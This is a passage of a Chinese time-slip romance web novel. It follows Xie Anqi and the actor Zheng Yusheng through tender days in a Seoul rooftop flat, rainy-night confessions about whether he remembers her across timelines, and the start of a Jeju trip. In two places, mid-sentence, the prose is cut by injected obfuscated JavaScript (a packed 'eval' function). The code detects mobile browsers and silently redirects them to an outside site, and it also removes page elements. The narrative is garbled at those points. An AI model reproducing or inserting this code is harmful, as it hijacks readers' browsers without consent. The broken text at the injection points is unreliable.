“你这段话也太像台词了。” “我就是个演员。” “那你现在演一个……不会丢下我的人。” 郑禹胜没说话,只是抬手,把她抱进怀里。她靠在他怀里,没动。水壶开始响,蒸汽冲上盖子发出低低一声,她伸手关火,他接过茶包,换她的动作继续泡茶。 茶水慢慢变色,像空气里酝酿的某种回温。她靠在橱柜边,看他低头搅拌的样子,突然说:“你有没有觉得,我们像是在互相试探一条没有剧本的路。” 他没有抬头:“算是吧,现在终于轮到我们了。” “但我们的剧本很乱。” “那就乱着演。” 谢安琪轻笑了一声,接过他递来的茶。他们没有回沙发,而是坐在厨房窗边的小椅子上,膝盖碰着膝盖,肩贴着肩,就好像是一种没有被谁宣布,却悄悄进行的继续的情愫的蔓延。 …… 夜里十一点,窗外远处是车声,还有狗叫,屋子里只剩杯壁轻撞的声响。 “你明天几点出门?”她问。 “下午拍一场室内。” “你回来住?” “可以吗?” 谢安琪看着他,没有点头,也没拒绝,只是拉了拉他的袖子。 “我怕我太习惯你不在了。” “那就别再习惯。” “你留得住我吗?” “我可以试。” 她靠过去一点,没说话,握住他放在桌上的手,茶水喝了一半。郑禹胜轻轻抽出她握住的手,转而环住她的肩。她没有再做任何试探。 头靠上他的锁骨,闭上眼,他低头吻了一下她的头发。 那一刻很静,像是两个缓慢漂浮的影子,终于落在了同一个片段上,不是未来,不是过去,只是此刻,她轻声说:“我不问你记不记得。” “我肯定记得。” “那你为什么一直不说?还是现在的你愿意说,未来的你却不肯再说?” “可能未来的我怕你只爱记忆里的我,或者说只爱过去的我。” 郑禹胜算是解释,头靠着她的身子不曾离开。 “可我也怕你只爱过去的人。” “那我们各自都小心一点。” 谢安琪轻轻笑了:“那太累了。” “那就不小心一次。” 他们拥抱着,坐在厨房边的凳子上,像是一场晚了很久的剧终于入场,郑禹胜拉着她的手,慢慢起身。 “去屋顶走走?” “现在?” “我想看看夜里的风。” “不是下雨了吗?” “那就听雨。” 她没有拒绝。 两人披着一张旧毛毯走上屋顶,风不大,天色深蓝,月亮藏在云后,雨像线一样细细斜落。他们站在水塔旁边,肩并着肩,什么都没说。只是听着雨落在瓦片上、铁桶上、屋檐边缘的节奏。 回屋后,她脱下湿衣服,头发打湿一半,他拿毛巾替她擦,像上次她醉酒时那样,轻轻地擦,谢安琪望着他,忽然低声说:“如果以后我们错开了怎么办?” “我们不会。” “万一?” “那我会认得你。” “你怎么认?” “你看东西的表情、选柚子茶的品牌、走进屋塔房时右脚先踏的习惯。” “你记得这么细干嘛?” “因为你在我生命里,不只是一个时间点。” “那我是你什么?” 他看着她,缓缓说:“你是我每一场戏都想靠近的镜头。” 谢安琪没说话,只轻轻把额头贴上他的胸口,他们没有接吻,也没有拥抱更深。只是安静地靠着,把这一晚沉进共同的身体记忆里。现在看两人终于都在这一条时间线里停下来了。 …… 雨停的时候是凌晨三点,两人都没睡,不是激烈地争执,也不是沉默地冷战,而是一种比任何对话都缠绕的静默。 谢安琪靠在沙发上,膝盖上搭着一张薄毯,郑禹胜坐在她身边,两人各自握着一杯已经冷掉的姜茶。 “你以后……还会一直当演员吗?”她问,问了一个已经知道答案的事情。 “我不知道。”他说,“我其实不确定我是不是热爱这件事。” “那你为什么这么努力?” “可能是因为,我想证明自己值得被看见。” 谢安琪点点头,没有问“给谁看”,因为她知道,大家都在努力替自己找到一个“被确认的出口”,只是方式不同。 …… 早晨六点,天微亮。 谢安琪靠在厨房台边打了个盹,是那种极短的、身体还记得昨夜没入眠的疲乏,郑禹胜在一旁泡咖啡,他磨豆的动作慢而轻,像怕惊扰她的片刻休息。 她张开眼时,鼻尖闻到焦糖与苦味交织的气息,他把杯子递给她:“加了牛奶,不苦。” 她接过,喝了一口,点头:“还不错。” “你夸得很不走心。” “因为你泡得太认真了,我不敢太亲昵。” “那你多亲昵一点看看。” 她抿嘴一笑,把手里的杯子举起轻碰他杯口:“致今天还没有睡的我们。” “致今天不想结束的清晨。” 补觉是没必要的,早饭就随便吃了点,饭后两人收拾完厨房,坐在阳台边晒太阳。阳光还不热,但照在屋塔房的小木板上已经有了微微的暖感。 郑禹胜掏出一张旧相机底片袋,递给她:“我小时候拍的第一卷照片。”她接过,翻看一张一张:模糊的街头,泛白的海边,低对比度的黄昏。 “你以前就想拍东西?” “我小时候更想当音乐人。” “怎么没做?” “因为没什么人听。” 谢安琪指着一张灯塔照片:“这张特别好。” “拍得太暗了。” “但情绪对了。” 他看着她:“那你呢?你第一次拍的照片还留着吗?” 她点点头:“在硬盘里。” “哪天给我看看?” “等你说你不拍戏了的那天。” 他一笑:“那我今晚就辞演。” 下午风大起来,两人躲回屋内,她从柜子里翻出一张纸,是她这几天写下的采访大纲,他看到上面密密麻麻写着各种拍摄时间表,忽然问:“你是不是也在拼命证明自己?” 她没否认。 “你拼得这么狠,是怕哪天醒来发现这些都不算数吗?” 她点头:“我是个不确定自己能留下什么的人。” 郑禹胜轻声说:“那你能留下我。” 谢安琪看着他,眼里轻轻一颤。 “你现在说这句话,很像一种许诺。” “我想给你许诺。” “你想清楚吗?” “比任何一场试镜都清楚。” …… 傍晚时她提议去屋顶拍几张照片,他说好,就带上旧相机和一支快要坏掉的三脚架,他们一前一后爬上去。夕阳不艳,是那种被雾遮住后的橘粉色,光线正好。 她站在风里,头发吹乱,闭眼轻笑。他在取景框后看着她,忽然轻声说:“你现在这样,比我梦里还清楚。” “你梦见我了?” “前天晚上。” “梦里我在干嘛?” “你坐在阳台边,不说话,只喝茶。” “我有看你吗?” “你一直在看我。” 谢安琪低头一笑:“你也许根本没醒过。” 他按下快门,镜头咔哒一声,像时间轻轻刻下一帧永远不会变模糊的片段。晚上回到屋里,两人没再吃晚饭,只煮了一碗安城拉面,坐在小桌边慢慢吃。 她把调料包拆得很认真,仿佛那是一道需要特写的动作镜头,郑禹胜则静静看着她,偶尔帮谢安琪把散开的头发挽到耳后。 “我们就这样过完一辈子,好像也不难。” 谢安琪没说话,只是轻轻靠在他肩上,听着郑禹胜的说,“你不问我以后想拍什么样的戏?” 连着肩膀带着的呼吸节奏回来都很清晰。 “你会告诉我吗?” “我想拍一部只有你看得懂的电影。” 郑禹胜声音沉稳。 “那是不是也只有我才能看?” “不一定。但我希望你是那个第一个坐进放映厅、也愿意看完片尾曲的人。” …… 入夜后,她在桌边收拾东西,他在阳台吹风,屋里亮着灯,光从窗里斜出来,在屋塔房的墙上投出淡淡的人影。他忽然转头,看见她蹲在地板前专注工作的模样。 他走回来,站在她身后,什么都没说,她没有回头,但说了一句:“你在我左后方。” “你怎么知道?” “你呼吸的频率我听得出来。” “你还听得出什么?” “你现在,心跳有点快。” 郑禹胜一愣,笑了,然后弯腰,从后面轻轻环住她,谢安琪把头靠在他臂弯里,窗外风起,窗帘轻晃。 …… 夜更深了,他们没有再说那些沉重的字句,也不再试图从对方口中套出什么确定的答案。郑禹胜在沙发上铺了床,她靠在他肩上看着一部旧电影。 电影里主角说:“我们也许终会走散,但在一起的那段光影不会消失。” 郑禹胜低头看她:“你听见了吗?” 谢安琪点头:“我记下来了。” 他笑:“你记住了?” “就像是我们剧本的旁白。” “那谁演主角?” “你。” “你会演女主吗?” 谢安琪想了想:“如果这一条线不跳,我就留下演到底。” 他握住她的手:“那我们现在开始第二幕。” …… 午夜一点,电影还没结束,但谢安琪忽然抬手按了暂停,屏幕停在男主独白的一帧,他面朝夜空,眼中有光。 郑禹胜看着她:“怎么了?” 她没回答,只轻轻将遥控器放下,抱膝坐在沙发一角,过了很久,她问:“你有没有觉得我们现在像……一个平行剧本。” “什么意思?” “像两个版本的人,在一个屋塔房里生活。我们说的话、做的饭、走的路都一样,但彼此心里知道这不是同一个时间。” 郑禹胜沉默了几秒,轻声说:“你还在想‘那一条线’吗?” 她点头。 “你怕我不记得你?” “不。”她摇头,“我怕我记得的你,不再记得我。” 郑禹胜听懂了,那不是怀疑,而是哀伤,他靠近了一点:“你想知道我记得多少,或者说未来的我记着多少?对吗?” 谢安琪没有动,他没有直接说“我记得”,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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深夜到清晨的时间里,她把沙发上的抱枕铺开,坐在他身边,头枕着郑禹胜腿,他摸着她的发,像一场极静的祈祷,窗外的雨声像对白的空轨,从城市的天线上逐句滑落,她闭着眼问:“如果你以后当了导演,你以后想拍一个什么样的故事?” “你。” “不要说我。” “我真的想拍一个人,穿越很多线,只是为了确认另一个人有没有还记得她。” “你会把结局拍成什么样?” “两个版本。” “一个是她终于问出那句话?” “一个是她什么都没问,但男主却一直记得。” 她抬眼看他:“你现在是哪个版本?” “我在等你问未来的我,现在的我当然是记着你。” “可我不敢。” “那我说,我会找到你,我会把你留在身边。”郑禹胜低头,轻轻在她额头落下一吻,“我记得你所有的版本。” 临睡觉前,他们坐在厨房吃泡面,她把最后一根泡菜夹给他:“你以后要是不接戏了,会考虑考虑开餐厅吗?再不然或者会有美食类的综艺,也很适合你。” “我会开一间不写菜单的,只做一个人点的菜。” 郑禹胜看着她,等到谢安琪问是给她做的菜吗?郑禹胜很快回以点头确认。 “那我可得每天换着点。” “你敢换,我就敢学。” 她笑:“你真的变了。” “我没变。” “你变得更敢说话了。” “因为你在。” 谢安琪低头喝汤,眼眶发热:“我好像,终于不是在漂浮了。” 郑禹胜轻声说:“我也不想再游走在时间边界了。” “我们就慢慢走,好不好?” “好。” 泡面汤在灯下发亮,像深夜最温柔的热光。这一顿宵夜,是他们跨过所有旧梦与时间错口后,真正留下的一场现实温柔。 …… 下午一点,天才大亮,阳光正好,谢安琪醒来时,郑禹胜还在睡,呼吸绵长。她没惊动他,只轻轻起身,赤脚走到窗边。屋塔房的玻璃还沾着昨夜雨水,映出她脸上未散去的柔光。 她轻轻将窗推开一条缝,冷空气挤进来,唤醒她的每一个感官。这就是她想要的“现实”吧——不是永远热烈,不是时刻对焦,而是能在彼此不说话时,仍感到心安的共处。谢安琪站在窗边写下几句话,记在相机背后那本小本子上:“如果世界的所有时间线都有一个你,那我愿意留在这条最安静的那一条。” 她写完合上笔记本,看了一眼房间。郑禹胜还在沙发上,膝盖微蜷,脸贴着她叠好的抱枕,睡得极熟。阳光还没完全照进来,屋里光线介于梦境与现实之间。她不确定未来还会不会继续在不同的时间线来回,也不确定郑禹胜是否会永远记得她。但这一刻,她确信:她在这一条线里,是真的爱上了这个“仍未完成”的他。 谢安琪走回去,坐在他身边,没有吵醒他。只是轻轻靠近,把他的手拉过来,放在自己掌心里。窗外的风继续吹,城市的声响一点点爬上屋檐。她想,人生也许真的没有剧本。他们只能在每一个清晨里,用呼吸写一句对白,用并肩活出一个段落。 这一章生活,还会继续,但她已经决定了,不再等待谁开口,她就暂时在这里,和他一起,写下所有不跳跃的,时间里的柔软篇章。 …… 锅里开始冒泡声,是热饭的声音,谢安琪醒得早,饿了,就去热了热米饭,又煮了点东西,郑禹胜醒得比她想象得晚,睁眼时阳光刚好落在沙发边缘,谢安琪正背对他,站在炉边舀汤,她穿着一件他的大T恤,头发束成一个松松的低马尾,侧脸被阳光照出一层朦胧的柔光。 “醒了?”她没回头,声音轻得像从窗外飘进来的风。 “嗯。” 郑禹胜撑起身,坐着发了几秒呆,然后慢慢站起身走过去,谢安琪已经盛好饭,转身递给他:“你醒了,今天吃这个可以吗?” 他点点头,接过碗:“你起得很早。” “醒了就睡不着了。” “你梦见我了吗?” 谢安琪笑了一下,没有接话,他没继续追问,只低头认真地吃了一口饭,然后说:“咸淡刚好。” “你总说我做的‘刚好’。” “因为你已经是‘正好在我生活里’的味道了。” 谢安琪没说话,只是弯了弯眼角,吃完饭后,她在阳台边晾衣服,他刷碗。阳光比昨天亮了些,照在两人身上,像是慢慢揉进他们日常缝隙里的温度。 “你今天几点的戏?”她问。 “晚上七点。” “来得及晚饭吗?” “我就不吃了。” “你要不要带便当?” “你想给我做?” “不是,我是问你‘要不要’,不是‘我做不做’。” 他笑着转头看她:“你要做我就带。” 她哼了一声:“别仗着我舍不得你饿着。” “我不是仗着,我是确认。” “确认什么?” “确认你今天比昨天更愿意留下。” 谢安琪一愣,低头理衣服的动作慢了两秒,然后才说:“那你也记得明天也要来吃早饭。” 他走过去,站在她身后,伸手帮她抻衣架。 “你要是不赶我,我就不走。” 郑禹胜拍摄间隙的假期就这样结束了,两天一夜里,也就刚才将将睡了十个小时,可能是珍惜分别许久后的相遇,两人都不愿意用睡觉减少见面的时间,但这会确实要出门了,两人一起出门的时候,街上的阳光刚好穿过屋檐,洒在两人脚边。 郑禹胜帮她拉上门,站在楼梯口看她。 “你今天拍哪里?” “东大门边的市场。明天也去。” “我明天下午收工早,可以去找你。” “你不是累了吗?” “你不想见我?” 谢安琪抬头看他一眼,笑得有些慢:“我想。” 郑禹胜也笑了:“那就见。” 她背着相机包,转身下楼,走了两步又回头。 “你记得吃便当。” “你记得喝水。” 就这样相互说完这些不紧不慢的句子,像是提前约定好的对白。郑禹胜看着她的背影慢慢消失在楼梯转角,心里忽然很轻。这一次,没有剧烈拉扯,没有再见的担忧。他们只是开始学会,把靠近当作原本属于生活的一部分。 29.第29章 城市湿透的时候,通常不是暴雨,而是那种无声无息的细雨。夜晚十点四十五分,首尔街头的霓虹正盛,一场突如其来的小雨,把地砖洗得发亮,车灯从路口一划而过,水光折射在墙面上,像一帧旧电影的片段。 谢安琪没有带伞,计划里她本没打算走远,只是吃完晚饭心情有些散乱,想沿着小路走走,看看巷口那家旧唱片店是否还亮着灯。但现在只能站在便利店门口的小雨棚下,风将细雨斜吹过来,几滴打湿了她外套的袖口。 原本计划准备绕回屋塔房,却在便利店门口的巷子转角处,看到一个熟悉的身影走来,是提前结束拍摄的郑禹胜,他没穿伞衣,只是把拉拉链的卫衣外套的帽子戴上,步子慢,却走得很稳。 两人就这么在雨幕交织中碰面,他也看见她了,两人视线撞上的那一刻,仿佛整个城市的雨声都低了几个分贝,没有寒暄,也没有打招呼,只是一种比问候还沉的静默,郑禹胜停在她两步之外的地方,眉间还残留着未散的剧组疲惫感,眼神却比她记忆中更温。 “你怎么没带伞?”郑禹胜说着,他忽然抬手,把自己的帽子脱下来,轻轻盖在她头上。 谢安琪笑了一下,手抓着:“你也没带,而且我快到家了,你离得远。” 她没动,雨顺着他的发尖滴下来,落在地面、落在两人之间那一步之外的空隙,想了想谢安琪继续望着他说道:“你刚收工?” 他点头,“导演临时加了一场夜戏。” “很累吧?” “还好,看到你就不累了。” 这句不像调情,倒更像是一句真心话,便利店的LED广告屏变换着光影,把他们脸上的轮廓一明一暗地晕染。谢安琪忽然觉得,这场景像极了她曾经剪辑过的一个梦境镜头,雨夜、街灯、目光交汇,空气里全是说不清楚的情绪纹理。 谢安琪咬了咬唇,“你是不是早就知道我要从这条路回来?” 郑禹胜没有说话,只是目光轻轻垂落,像一滴雨打在她的掌心,谢安琪叹口气,然后低声说:“如果你现在说你记得我,我就留在这一条线。” 话说出口,她自己都愣了一下,谢安琪知道她不该说这种话。她知道她终究无法选择留在哪一条时间线上,她来来回回穿越太多次,早已没有选择的权利,但她说了,因为此刻,谢安琪就是想留下来。 郑禹胜看着她,神情一瞬间冻结,不是惊讶,也不是茫然,而是一种终于听见的神情。 郑禹胜说:“你确定你说的是现在?” “嗯。” “不是曾经,也不是未来?” “就是现在。” 他没有回答,只是在风里靠近了一步,站在她眼前,撑起一点微不足道的空间,雨打在他的肩膀上,顺着他的外套滑落下来。 郑禹胜低声说:“我一直在等你说这句话。” 谢安琪喉咙发紧:“那你……你记得什么?” 郑禹胜轻声回答:“我记得你每一次离开前都没说再见。” “那你为什么现在不拦我?”谢安琪忍不住说着。 “因为我知道你每次都会回来。”听到郑禹胜的话,谢安琪眼眶微热,忽然低下头。 两人沉默地站在雨里,便利店后巷的灯光打在地面上,雨水泛着淡黄,像一张展开的、无人翻阅的情绪地图。 谢安琪说:“你知道我不能留下。” 郑禹胜说:“那你再试试留下。” “这不是我能控制的。”谢安琪走在她身边,听着谢安琪说着。 “那你就说一声留下,我听着就够了。”听着郑禹胜的话,谢安琪忽然轻轻靠近一步,目光定定地望着他。 “你不怕这是个梦吗?”谢安琪说道。 “如果你是梦,那我就希望醒不过来。”郑禹胜说道。 “你怎么知道这是对的时间线?”谢安琪忍不住问起来,雨水落在她的眼睫毛上,落下去像是低落的情绪。 “因为只有在这条线里,你的眼神不会躲。”郑禹胜说的很自然,也很明白她的难处。 谢安琪低头苦笑,嘴唇微颤,“你知道吗,我不是冲动才说那句话。我真的想留下。” “我知道。”郑禹胜点头,然后拉着她的手,“那你现在就跟我回家。” 郑禹胜拉过她的手,带她穿过便利店后的小巷,拐进屋塔房的后门小路,雨还在下,风擦过铁皮屋檐,发出轻轻的响声。谢安琪低头走在他身后,手指被他握着,湿漉漉的,却异常温暖,他们没有再说话。 就好像连带着刚才的所有的对白都被雨声包裹,像是贴着心跳的对白,谢安琪知道她也许会再次离开,但此刻,她是真的相信自己可以停在这里。 回到屋塔房时,屋子一片昏暗,刚关上门的瞬间,灯忽然闪了一下,然后彻底熄灭,外头风大,临时停电了,谢安琪摸索着拿出手机,但屏幕光太冷,她皱着眉收起,郑禹胜弯腰,从抽屉里翻出一只手电筒,打开,微弱的黄光在墙面投出晃动的影子。 他把手电筒放在桌上,光斜斜地照在两人之间,这一刻像是电影里的某个布光镜头,光束是舞台,他们在黑暗里彼此凝视,几乎能听见心跳。 “停电了。”谢安琪轻声说。 “正好。”郑禹胜坐下,“不太想看清你的表情。” 她也坐下,把手搭在桌沿,“你害怕?” “我怕你现在看见我,会想离开。” “那你更该开灯。” “可我更想你留下。” 风从窗缝灌进来,把她肩上的发吹得一跳一跳,她望着他,一句未来的你会不会不记得现在差点脱口而出,又强行咽了下去,郑禹胜察觉了,却没逼问。只是慢慢抬眼,语气缓了:“如果有一天我想要跟你确认……你还记不记得今天的事情,你会不会只爱我曾经的样子?” 她一怔,“你什么意思?怕我变了你就不爱了。” 谢安琪忍不住声音大了些。 “那你也怕你记得了,我却已经忘了?” 郑禹胜笑着解释。 “我怕的不是你忘。” “那你怕什么?” “怕我说出口的那一刻,你觉得我早就不是你爱的那个我。” 谢安琪沉默了,这就是他们之间的错位,不是谁不够爱,而是谁先试图去维持原样,包括对面前的人感到紧张,但谁都知道,没有人能一模一样地活成记忆。 …… “你说过,我如果开口你就留下。” “是。” “可你刚刚已经开口了。” “你也听见了。” “那你现在是不是应该回答?” 郑禹胜盯着谢安琪,没有闪躲:“我记得。” 谢安琪没有笑,只是眼睫动了一下,像是心跳也随着这句话收缩了一寸。 “你什么时候会开始记得的?” “可能是从见到你的第一面。” “不是现在第一次遇见吗?” “不,更早之前,我就记着你,见过你,爱过你。”郑禹胜忍不住说着,但看起来又似乎并不想再继续解释起来,但谢安琪还是忍不住问道,“为什么?” “因为你每个字,我都想听两遍,连你,我都相见很多次。” 谢安琪闭上眼,眼角滑下一滴泪。 “如果未来的你不敢告诉我你记得吗,是不是你在怕,我想要的是那个被留在过去的你。”谢安琪忍不住苦笑,“但你明明知道我留不住任何一个你,就像我和你一直在相遇,又一直在分开。” …… 雨声敲着铁皮屋顶,像某种节拍器,一下一下拉长沉默,他们坐得很近,肩几乎贴着肩,谢安琪忽然开口:“你有没有想过,我们会不会其实根本没有共同时间线。” “那又怎样?” “你记得我,我记得你,但我们是在不同的平面上运行。” “你又不是数学题。” “我不想只是你记忆里的某一幕。” “你不是。” “你怎么知道?” “因为你会问我这些。” 郑禹胜看她,目光很稳,忍不住笑道,“你知道真正属于过去的是什么吗?” “什么?” “是不敢问问题的人。” 谢安琪听到这句话让她身体轻轻震了一下,两人对坐着,一盏手电筒支撑起整个黑暗世界的光感,郑禹胜伸出手,放在桌面上,掌心向上,她迟疑了一下,把手覆上去。 “那如果有一天我再度消失了呢?” “我会找你。” “你找得回来吗?” “你不是说我不是数学题吗?” “你别跟我讲绕口令。” “我不会找回来的你,我会找还愿意再问我一次的你。” “那你要是等不到呢?” “那我就拍一部关于你走过的电影。” “那是留给谁的?” “我自己。” “你还真自私。” “我学你。” 两人靠得更近了,郑禹胜的手不再放在桌面上,而是缓缓牵住她的手指,指腹贴着指腹,谢安琪呼吸轻了下来,眼睛没离开他。 “我是不是没你想得那么坚强。” “你比我想得更可怕。” “为什么?” “你是唯一能影响我每一场戏状态的人。” “你也没那么稳。” “所以我才想让你留下。” “可我还是不确定我能不能真的留下。” “你就说你想不想。” 谢安琪笑着轻声说:“我想。” …… 这时候灯突然闪了一下,又恢复供电,两人彼此怔住,看向天花板的灯光恢复,像是世界重新被按下播放,可谁都没说话,郑禹胜站起身,走到厨房倒了两杯热水,递给她一杯。 “别让光吓到了。” “我只是不太习惯突然醒过来。” “那就先别醒。” 谢安琪接过水,手心贴着杯壁的热,她忽然不再逃避未来,也不再质问过去,只是一口气喝下热水,像是要用这盏杯中水把这整场混乱和清醒咽下去,谢安琪说:“如果未来再有机会,我不会再问你记不记得。” “我知道。” “那你也别问我还留不留得下。” “那我们聊别的。” “比如?” “比如今晚是不是我们正式同居的第一晚?”谢安琪轻轻一笑:“你刚刚说你怕我会逃跑。” “现在不怕了。” “为什么?” “因为你还在。” …… 夜深了,屋塔房里光线柔和,一盏灯,一台老旧音响正播放着卡带里不太清晰的老歌,歌词若隐若现,全是有关等待和雨水的句子,谢安琪坐在沙发边,膝盖缩着,一手托着下巴,她目光没有看他,但气氛慢慢松弛下来。 郑禹胜起身,从桌边拿来一件她落在厨房的小外套,轻轻披在她肩上,谢安琪没动,只是偏了偏头,避开他拢衣领的动作,却没有躲太远,他靠近一些,声音低得像屋顶风声:“我记得你所有的走近方式,不管是哪一条线。” 谢安琪一愣,眼神像突然被撞进光里,轻轻抬起,“如果我们的人生就是演一场记忆错位的剧本,要怎么办?” “这剧本我愿意演一辈子。”郑禹胜坐在她的身边,回答完之后一直看着谢安琪,而她终于笑了,带着一点快哭出来的表情。 “你知道你说这种话真的很……犯规。” “你可以罚我。” “怎么罚?” 他垂下眼,轻声说:“不准不理我。” …… 谢安琪没有接话,只是看着他,一动不动,然后,轻轻向前靠了一点,他们之间的距离只剩十几厘米,呼吸开始有了彼此的热度,郑禹胜没动,她也没有进一步,但空气中那种轻微颤动的张力,让彼此的眼神越发清晰。 谢安琪说:“你不说,我也会留下,但我就不会再问了。” 而郑禹胜看着她的眼睛,像要把她整个人记下来,“那我现在说。”他低声,“我一直都在记得。” 她抿着嘴唇,眼神晃了一下,然后她轻轻靠上他的额头,两人前额贴着前额,闭上了眼。风在窗外停了一会儿,整个城市好像陷入了暂停,她没有再说话,他也没有,只是那种不说也相互理解的沉静,在小小屋塔房里慢慢涨满。 郑禹胜缓缓抬起手,指尖贴上她的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672059|169893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧,描了一圈她的颧骨,她睁开眼,声音轻得像梦话:“我不知道自己是哪一条线的谢安琪。” “但我知道你是我要抓住的那个。” “你确定?” “因为我已经开始害怕下一次你再不回来。” 谢安琪没再说话,只是把脸埋进他的肩膀,整个身体都贴了上去,他也抱住她,像抱住一个世界。他们坐在沙发上,光线低得几乎看不清表情,但他们彼此的动作都极其温柔。他轻轻吻了一下她的发顶,然后滑到额头、鼻尖、唇角。 她没推开,只是紧紧握着他的手指,像是在抓住这场时空容许的温存,他们没有过分热烈,也没有突然的爆发,只是缓慢地靠近、触碰、缠绕,在低语与吻之间,完成一场真实生活里的相拥。 窗外雨又开始落下,但屋内一片安静,只有他们的呼吸和彼此的心跳,作为世界唯一的背景声。最后床铺是她铺的,他本该睡在沙发,但那晚他们并肩躺在地板上,盖着同一条被子。 谢安琪靠在他胸口,手指在他掌心缓缓勾着,像在写字。 郑禹胜问:“你写什么?” “写你的名字。” “我会忘吗?” “你不会。” “那你写一遍给我看。” 她拉过他的手,在他掌心写下郑禹胜三个字,郑禹胜他不看,但感觉得到,那一刻,他轻轻把她的手握住,说:“你刚刚写错一个字。” “哪一个?” “你忘了加上我的,我的郑禹胜。” 谢安琪轻笑:“你这是强词夺理。” “我这是求名分。” …… 夜深如海,他们没有再说什么正式的在一起,也没有下任何承诺的誓言,但他们都知道,那一夜之后,他们的关系已经再也回不到若即若离,谢安琪在半梦半醒之间听见他说:“你留下吧。” 谢安琪没睁眼,只握住他的手,郑禹胜没再出声,只是侧身,把她揽进怀里,像把一段终于接得上的时间,贴紧心口,这一夜没有梦,因为梦已成真。 清晨五点半,光线刚刚透过屋塔房的半扇窗帘,郑禹胜先醒,睁眼时谢安琪正侧着身安睡,脸埋在他胸口,头发乱成一团,他的右臂麻了,但不舍得抽出,他没动,只是静静看着她。 那张熟悉又不完全属于这个时代的脸此刻安静得像一张水面,所有曾经穿越与错位的焦虑、压迫与不确定都安放下来。他轻轻俯身,在她额头落下一吻,像对这个早晨、这条线、以及她,都说了一声谢谢。 …… 谢安琪醒的时候,锅里水已经烧开。 “你怎么醒这么早?”谢安琪坐起身,拉起毛毯裹住肩。 “拍戏习惯了。” “你今天几点出门?” “十点。” “还早。” “我想给你做早饭。” 她笑了一下,走到他身边,把厨房毛巾递给他:“你昨天还说你煎蛋总是焦。” “今天不焦。” “那你别让我吃出剧情反转。” “你吃的是鸡蛋,不是剧情。” 她笑得眼睛弯起,侧头看他认真打蛋的样子,忽然觉得他们的确是在同居了,虽然往后的时间线里,两人是夫妻,但现在这样没有签字,没有搬家,没有任何仪式,只是自然地,把两个人的时间揉进了一段相同的早晨,也让她觉得很温暖。 他们在小桌边吃饭,郑禹胜坐在窗边,她坐在对面,阳光照在她的手上,皮肤是淡淡的杏色调。她眼角笑意不止,风从阳台边灌进来,把衣架上的旧毛衣吹得一晃一晃,像极了屋塔房专属的某种情绪装置。 吃完饭,谢安琪在晾衣服,他在擦窗。两人像是一部没有对白的生活短片,分镜完整,画面稳定,他擦到第三块窗的时候回头问她:“你有没有想过,如果我们真的生活下去,会是什么样?” “现在不就是吗?” “我是说,以后。” “以后你会变红,我会一直工作,偶尔一起吃饭。” “还有呢?” “我会每年给你拍一张生日照。” “只有生日?” “要不要再加结婚纪念日?” “你想得真远。” “你不是说未来不是等着看,是提前说吗?” “那我现在想听你说一遍我们以后住哪儿。” 她没笑,只说了句:“住在我们应该住的地方。” 吃完饭后,他去洗碗,她坐在窗边试拍镜头,一张两人同框的照片不小心被拍下来,她在光里,他在背后厨房角落,模糊而暖,谢安琪没有删,只是调了亮度,加了淡金色滤镜,命名为早晨的样子。 郑禹胜从厨房探头看她:“你在拍什么?” “我们。” “我刚刚没摆动作。” “就是因为没摆才留得住。” 他走过去:“如果能一直留着,你把这张设成桌面吧。” “那你要付授权费。”谢安琪?只笑着回答,完全没有注意到这个建议里出现的时间bug “怎么付?”郑禹胜笑起来,看着她的眼神在探究。 “用你未来每一顿饭来换。” “那我今天晚饭要做什么?”他笑着,像是觉得这样也可以。 “做个能让我想起今天这张照片的菜。” 晚饭还早着,谢安琪坐在屋里,郑禹胜在一边不知道在忙碌什么,午前阳光彻底透进屋里,就这样停了很久,谢安琪才起身收拾设备,直到她收拾好设备,站在门边换鞋。郑禹胜走过去,蹲下帮她系鞋带,她低头看他:“你是不是看太多剧了?” “你不是喜欢生活感吗?” “但你太电视剧男主了。” “那我改,做生活片的男主。” “有点贱兮兮。” “那不能这样说的,我要受伤了,”听着郑禹胜的话,谢安琪没说话,只扳着他的肩膀,等他低头后在他头发上亲了一下,感受到的郑禹胜忍不住说:“其实我一点都不想你出门。” “那你早点来接我。”谢安琪并没有停住脚步,“我会带你最喜欢的蜂蜜柚子茶。” 郑禹胜点头:“那你别带错味道。” 30.第30章 济州岛的旅行安排得很匆忙,郑禹胜知道谢安琪想要去济州岛拍摄,他计划趁着档期空一周的时间内飞一趟。谢安琪点头答应,但行李只带了一个小背包,谢安琪说:“我怕我带得太多,最后根本没用。” 但其实谢安琪没有说,她只是有一种莫名的感觉,似乎没必要带那么多的东西。但郑禹胜却准备得很细,连她在阳光下容易刺眼的小檐帽都塞了进去。两人在金浦机场候机室坐下的时候,她靠在他肩上,打了个小盹。 郑禹胜说:“你要先吃点东西吗?” 谢安琪闭着眼,声音轻得像海风前的碎浪:“先吃,不然我晕机。我跟你在一起以后才晕的。” “你还怪会撒娇。” “你是最近才发现?” 她没睁眼,只是手指在他手背上轻轻摩挲。那动作像是一种最后的确认。飞机起飞后,她靠着窗,目光落在云层上。郑禹胜正低头看旅游手册,唇角噙着一点笑意。她转头看他,忽然问:“如果我们真的住在济州,会不会觉得太慢?” “你不是喜欢慢。” “但我怕慢到你不想留下来。” “我会留。” 郑禹胜握住她的手:“那你就一直提醒我。” “如果我突然消失了呢?” “我会记住最后一次你握我的手的方式。” 她没再说话。只是把脸转向窗外,风景太快,天光太亮,她闭上了眼。谢安琪是被一阵飞机广播声惊醒的。 “女士们先生们,飞机即将抵达金浦国际机场,请您系好安全带,收起小桌板……” 